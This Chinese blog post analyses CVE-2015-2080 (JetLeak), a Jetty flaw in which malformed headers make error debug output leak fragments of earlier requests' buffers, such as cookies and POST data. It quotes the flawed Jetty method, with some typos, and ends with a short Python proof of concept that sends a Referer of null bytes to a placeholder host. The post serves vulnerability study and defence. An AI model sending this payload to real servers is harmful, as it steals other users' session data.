链滴

再议 [CVE-2015-2080] Jetty 远程共享缓冲区泄漏

作者：nanolikeyou

原文链接：https://ld246.com/article/1502962084486

来源网站：链滴

该漏洞在中文社区已经有很好的帖子进行分析，参考阅读：
<blockquote>

http://bobao.360.cn/learning/detail259.html
https://github.com/eclipse/jetty.project/blob/jetty-92.x/advisories/2015-02-24-httpparser-error-buffer-bleed.md
https://blog.gdssecurity.com/labs/2015/2/25/jetleak-vulnrability-remote-leakage-of-shared-buffers-in-je.html

</blockquote>

<a href="https://ld246.com/forward?goto=http%3A%2F%2Fwww.bkjia.com%2Fwzaq%2F62620.html" target="_blank" rel="nofollow ugc">http://www.bkjia.com/wzaq/962620.html</>

在修复 solo 时我重拾此问题，并进行了 POC。这个一个非常好的案例，提醒我们需在开发环节行安全编码，考虑可能的漏洞。意识到业务代码部署运营阶段也会由中间件带来风险。

蓝色部分就是构造的非法数据，在抛出异常的时候 jetty 读完蓝色的数据，会继续读到绿色部分的 16 个字节，然后后面以“...”省略，再读取最后的 16 个字节。只要不断构造偏移不同长度的蓝色部分就可以将黄色部分的数据依次读出，直到找到敏感数据：cookie、post 内容。
代码方面：
jetty 处理 request 和 head 时，会对异常的信息 buffer 打印出 debug 内容，由于采用了不合理的出策略：如果此次的请求 bytebuffer 太少（即攻击者偏移构造特殊长度的 request），会从内存中露 16 字节（来自上一次的请求的 bytebuffer）。
<blockquote>
<code>972: ``private</code> <code>static</code> <code>void</code> <code>appedDebugString(StringBuilder buf,ByteBuffer buffer)</code>
</blockquote>
<code>973: {</code>
<code>[..snip..]</code>
<code>983: buf.append(“<<<”);</code>
<code>984: ``for</code> <code>(``int</code> <code>i = buffer.position(); i < buffr.limit(); i++)</code>
<code>985: {</code>
<code>986: appendContentChar(buf,buffer.get(i));</code>
<code>987: ``if</code> <code>(i == buffer.position() + 16 && </code>/p>
<code>buffer.limit() > buffer.position() + 32)</code>
<code>988: {</code>
<code>989: buf.append(“...”);</code>
<code>990: i = buffer.limit() - 16;</code>
<code>991: }</code>
<code>992: }</code>
<code>993: buf.append(“>>>”);</code>
<code>994: ``int</code> <code>limit = buffer.limit();</code>
<code>995: buffer.limit(buffer.capacity());</code>

<code>996: ``for</code> <code>(``int</code> <code>i = limit; i < buffer.capacity() i++)</code>
<code>997: {</code>
<code>998: appendContentChar(buf,buffer.get(i));</code>
<code>999: ``if</code> <code>(i == limit + 16 && </code>
<code>buffer.capacity() > limit + 32)</code>
<code>1000: {</code>
<code>1001: buf.append(“...”);</code>
<code>1002: i = buffer.capacity() - 16;</code>
<code>1003: }</code>
<code>1004: }</code>
<code>1005: buffer.limit(limit);</code>
<code>1006: }</code>
核心代码是 996 处，会打印 <<<+ 打印头 16 字节 +...+ 最后 16 字节 +>>>+16 字节 buffer+...+ 最后 16 字节，即{what_has_been_parsed}<<<{left_to_parse}>>>{old_buffer_seen_past_limit}
构思非常巧妙。
POC 方面，只有发送特定长度的异常 header，从返回的 response 里就可以获取到别人的 request 信息。
import httplib, urllib
conn = httplib.HTTPConnection("demo.xx.org:9000")
headers = {"Referer": chr(0)*500}
conn.request("POST", "/login", "", headers)
r1 = conn.getresponse()
print r1.status, r1.reason